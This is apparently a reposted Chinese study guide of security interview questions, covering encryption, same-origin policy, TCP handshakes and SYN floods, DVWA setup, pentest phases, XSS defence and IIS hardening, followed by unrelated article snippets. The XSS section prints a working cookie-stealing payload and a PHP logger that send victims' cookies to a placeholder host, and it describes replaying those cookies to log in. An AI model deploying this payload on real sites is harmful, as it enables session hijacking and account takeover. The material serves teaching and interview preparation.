网络安全、Web安全、渗透测试之笔经面经总结(一)

devtools/2024/11/30 3:43:58/

本篇文章总结涉及以下几个方面:

对称加密非对称加密?

什么是同源策略?

cookie存在哪里?可以打开吗

xss如何盗取cookie

tcpudp的区别及tcp三次握手,syn攻击?

证书要考哪些?

DVWA是如何搭建的?

渗透测试的流程是什么

xss如何防御

IIS服务器应该做哪些方面的保护措施:

虚拟机的几种连接方式及原理

xsscookie一定可以无用户名密码登录吗?

对称加密非对称加密?

对称加密:加解密用同一密钥,密钥维护复杂n(n-1)/2,不适合互联网传输密钥,加解密效率高。应用于加密数据。
非对称加密:公钥推不出私钥,每个用户一个非对称密钥对就可以,适合于互联网传输公钥,但是加密效率低,应用于数字签名及加密。

什么是同源策略?

为了防止不同域在用户浏览器中彼此干扰,浏览器对从不同来源(域)收到的内容进行隔离。
浏览器不允许任何旧有脚本访问一个站点的cookie,否则 ,会话容易被劫持。
只有发布cookie的站点能够访问这些cookie,只有通过该站点返回的页面所包含或加载的JavaScript才能访问cookie。

cookie存在哪里?可以打开吗

C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies
工具--文件夹选项--查看--将隐藏被保护的文件的对勾去掉就会看到cookies文件夹。

xss如何盗取cookie?

攻击者代码:
<?php

$cookie=$_GET['cookie'];
$time=date('Y-m-d g:i:s');
$referer=getenv('HTTP_REFERER');
$cookietxt=fopen('cookie.txt','a');
fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer.""); 注意双引号,容易出错
fclose($cookietxt);

?>

脚本端:
<script>
document.write('<img src="http://ip/cookie.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');
</script>

获取到cookie后,用firebug找到cookie,新建cookie
加入cookie,用referer来提交,无需输入帐号密码直接登录进去!

tcp、udp的区别及tcp三次握手,syn攻击?

也可参考http://www.cnblogs.com/bizhu/archive/2012/05/12/2497493.html

一、tcp、udp区别(转)
TCP的优点:

可靠,稳定
TCP的可靠体现在TCP在传递数据之前,会有三次握手来建立连接,而且在数据传递时,有确认、窗口、重传、拥塞控制机制,在数据传完后,还会断开连接用来节约系统资源。
TCP的缺点:

慢,效率低,占用系统资源高,易被攻击
TCP在传递数据之前,要先建连接,这会消耗时间,而且在数据传递时,确认机制、重传机制、拥塞控制机制等都会消耗大量的时间,而且要在每台设备上维护所有的传输连接,事实上,每个连接都会占用系统的CPU、内存等硬件资源。
而且,因为TCP有确认机制、三次握手机制,这些也导致TCP容易被人利用,实现DOS、DDOS、CC等攻击。
UDP的优点:
快,比TCP稍安全
UDP没有TCP的握手、确认、窗口、重传、拥塞控制等机制,UDP是一个无状态的传输协议,所以它在传递数据时非常快。没有TCP的这些机制,UDP较TCP被攻击者利用的漏洞就要少一些。但UDP也是无法避免攻击的,比如:UDP Flood攻击……
UDP的缺点:

不可靠,不稳定
因为UDP没有TCP那些可靠的机制,在数据传递时,如果网络质量不好,就会很容易丢包。
基于上面的优缺点,那么:

什么时候应该使用TCP:
当对网络通讯质量有要求的时候,比如:整个数据要准确无误的传递给对方,这往往用于一些要求可靠的应用,比如HTTP、HTTPS、FTP等传输文件的协议,POP、SMTP等邮件传输的协议。
在日常生活中,常见使用TCP协议的应用如下:

浏览器,用的HTTP
FlashFXP,用的FTP
Outlook,用的POP、SMTP
Putty,用的Telnet、SSH
QQ文件传输
…………
什么时候应该使用UDP:
当对网络通讯质量要求不高的时候,要求网络通讯速度能尽量的快,这时就可以使用UDP。
比如,日常生活中,常见使用UDP协议的应用如下:

QQ语音
QQ视频
TFTP


二、TCP握手协议
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),
即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,
客户端和服务器进入ESTABLISHED状态,完成三次握手。

完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念:
未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,
该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,
服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。 backlog参数:表示未连接队列的最大容纳数目。
SYN-ACK 重传次数 服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,
进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。
半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,
该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为Timeout时间、SYN_RECV存活时间。


三、SYN攻击原理
SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。
SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,
只要这些系统打开TCP服务就可以实施。从上图可看到,服务器接收到连接请求(syn=j),
将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。
服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。
配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,
服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,
服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,
目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。


证书要考哪些?

信息安全国际第一认证——CISSP
信息安全国内认证——CISAW
信息安全国内认证——CISP
信息安全技术实操认证新贵——Security+
IT审计人员的必备之证——CISA


DVWA是如何搭建的?

启动xampp(XAMPP(Apache+MySQL+PHP+PERL)是一个功能强大的建站集成软件包。)下的apache中间件和mysql
将dvwa放到xampp下的htdocs目录下
在浏览器输入http://127.0.0.1/dvwa 即可使用啦!
还有owasp的漏洞练习平台:https://sourceforge.net/projects/owaspbwa/files/

渗透测试的流程是什么

渗透测试流程概述
前期交互阶段、情报搜集阶段、威胁建模阶段、漏洞分析阶段、
渗透攻击阶段(Exploitation)、后渗透攻击阶段(怎么一直控制,维持访问)、报告阶段。

攻击前:网络踩点、网络扫描、网络查点
攻击中:利用漏洞信息进行渗透攻击、获取权限
攻击后:后渗透维持攻击、文件拷贝、木马植入、痕迹擦除


xss如何防御

1.对前端输入做过滤和编码:
比如只允许输入指定类型的字符,比如电话号格式,注册用户名限制等,输入检查需要在服务器端完成,在前端完成的限制是容易绕过的;
对特殊字符进行过滤和转义;
2.对输出做过滤和编码:在变量值输出到前端的HTML时进行编码和转义;
3.给关键cookie使用http-only


IIS服务器应该做哪些方面的保护措施:

整理来源:http://www.williamlong.info/archives/118.html
1. 保持Windows升级:
2. 使用IIS防范工具
3. 移除缺省的Web站点
4. 如果你并不需要FTP和SMTP服务,请卸载它们
5. 有规则地检查你的管理员组和服务:
6. 严格控制服务器的写访问权限
7. 设置复杂的密码
8. 减少/排除Web服务器上的共享
9. 禁用TCP/IP协议中的NetBIOS:
10. 使用TCP端口阻塞
11. 仔细检查*.bat和*.exe 文件: 每周搜索一次*.bat
12. 管理IIS目录安全:
13. 使用NTFS安全:
14. 管理用户账户
15. 审计你的Web服务器:


虚拟机的几种连接方式及原理

整理来源:http://blog.csdn.net/shuxiao9058/article/details/7051463

安装完虚拟机后,默认安装了两个虚拟网卡,VMnet1和VMnet8,其他的未安装(当然也可以手动安装其他的)。其中VMnet1是host网卡,
用于host方式连接网络的。VMnet8是NAT网卡,用于NAT方式连接网络的。它们的IP地址是随机生成的,如果要用虚拟机做实验的话,
最好将VMnet1到VMnet8的IP地址改掉。习惯上把VMware虚拟网卡使用的网段"固定",使用如下原则:VMnet1对应的网段是192.168.10.0,
VMnet2对应的网段是192.168.20.0,其他的类似。当然平常只是随便用用的就不用改了,能上网就行了。

VMware网络连接的方式主要有:桥接(Bridged)、NAT、主机网络(Host-Only)。

1. Use bridged networking(使用桥接网络

说明:使用VMnet0虚拟交换机,此时虚拟机相当与网络上的一台独立计算机与主机一样,拥有一个独立的IP地址,
网络拓扑如图1所示,使用桥接方式,A,A1,A2,B可互访。

                                                 图1
2. Use network address translation(NAT)

说明:使用Vmnet8虚拟交换机,此时虚拟机可以通过主机单向网络上的其他工作站,其他工作站不能访问虚拟机。
网络拓扑如图2所示,使用NAT方式,A1,A2可以访问B,但B不可以访问A1,A2。但A,A1,A2可以互访。

                                                 图2
3. Use Host-Only networking(使用主机网络

说明:使用Vmnet1虚拟交换机,此时虚拟机只能与虚拟机、主机互访。也就是不能上Internet,其网络拓扑如图3所示,
使用Host方式,A,A1,A2可以互访,但A1,A2不能访问B,也不能被B访问。

 

                                                  图3

xss有cookie一定可以无用户名密码登录吗?

基本可以。因为把cookie的值给浏览器,浏览器去访问页面会用已有的cookie去访问,如果cookie有效,就会直接进去。


http://www.ppmy.cn/devtools/138093.html

相关文章

【数据结构-队列】力扣641. 设计循环双端队列

设计实现双端队列。 实现 MyCircularDeque 类: MyCircularDeque(int k) &#xff1a;构造函数,双端队列最大为 k 。 boolean insertFront()&#xff1a;将一个元素添加到双端队列头部。 如果操作成功返回 true &#xff0c;否则返回 false 。 boolean insertLast() &#xff1…

微软要求 Windows Insider 用户试用备受争议的召回功能

拥有搭载 Qualcomm Snapdragon 处理器的 Copilot PC 的 Windows Insider 计划参与者现在可以试用 Recall&#xff0c;这是一项臭名昭著的快照拍摄 AI 功能&#xff0c;在今年早些时候推出时受到了很多批评。 Windows 营销高级总监 Melissa Grant 上周表示&#xff1a;“我们听…

记录pbootcms提示:登录失败:表单提交校验失败,请刷新后重试的解决办法

问题描述 pbootcms后台登录的时候提示“登录失败&#xff1a;表单提交校验失败,请刷新后重试!” 解决办法 删除runtime目录&#xff0c;或尝试切换PHP版本&#xff0c;选择7.3或5.6一般就能解决了。

【计算机视觉】图像基本操作

1. 数字图像表示 一幅尺寸为MN的图像可以用矩阵表示&#xff0c;每个矩阵元素代表一个像素&#xff0c;元素的值代表这个位置图像的亮度&#xff1b;其中&#xff0c;彩色图像使用3维矩阵MN3表示&#xff1b;对于图像显示来说&#xff0c;一般使用无符号8位整数来表示图像亮度&…

如何使用PHP爬虫获取店铺详情:一篇详尽指南

在数字化时代&#xff0c;数据的价值不言而喻。对于企业来说&#xff0c;获取竞争对手的店铺详情、顾客评价等信息对于市场分析和决策至关重要。PHP作为一种广泛使用的服务器端脚本语言&#xff0c;结合其强大的库支持&#xff0c;使得编写爬虫程序变得简单而高效。本文将详细介…

目标检测实施与部署(YOLOv8+树莓派)

目标检测实施与部署&#xff08;YOLOv8树莓派&#xff09; 1. 准备工作 1.1 硬件准备 训练环境&#xff1a;一台具有足够计算资源的PC&#xff08;例如带有GPU的机器&#xff09;部署环境&#xff1a;树莓派&#xff08;推荐树莓派4B或更高版本&#xff09;树莓派摄像头模块…

学习ASP.NET Core的身份认证(基于Cookie的身份认证3)

用户通过验证后调用HttpContext.SignInAsync函数将用户的身份信息保存在认证Cookie中,以便后续的请求可以验证用户的身份,该函数原型如下所示&#xff0c;其中properties参数的主要属性已在前篇文章中学习&#xff0c;本文学习scheme和principal的意义及用法。 public static …

以达梦为数据库底座时部署的微服务页面报乱码,调整兼容模式

1.问题描述 部署微服务&#xff0c;文件、代码是延用的mysql类型的&#xff0c;部署前做了部分适配&#xff0c;但是在使用dm数据库进行安装的服务在页面上查询出的数据却都是乱码 2.查询官网&#xff0c;注意到一个参数COMPATIBLE_MODE兼容模式的配置 考虑是延用mysql&…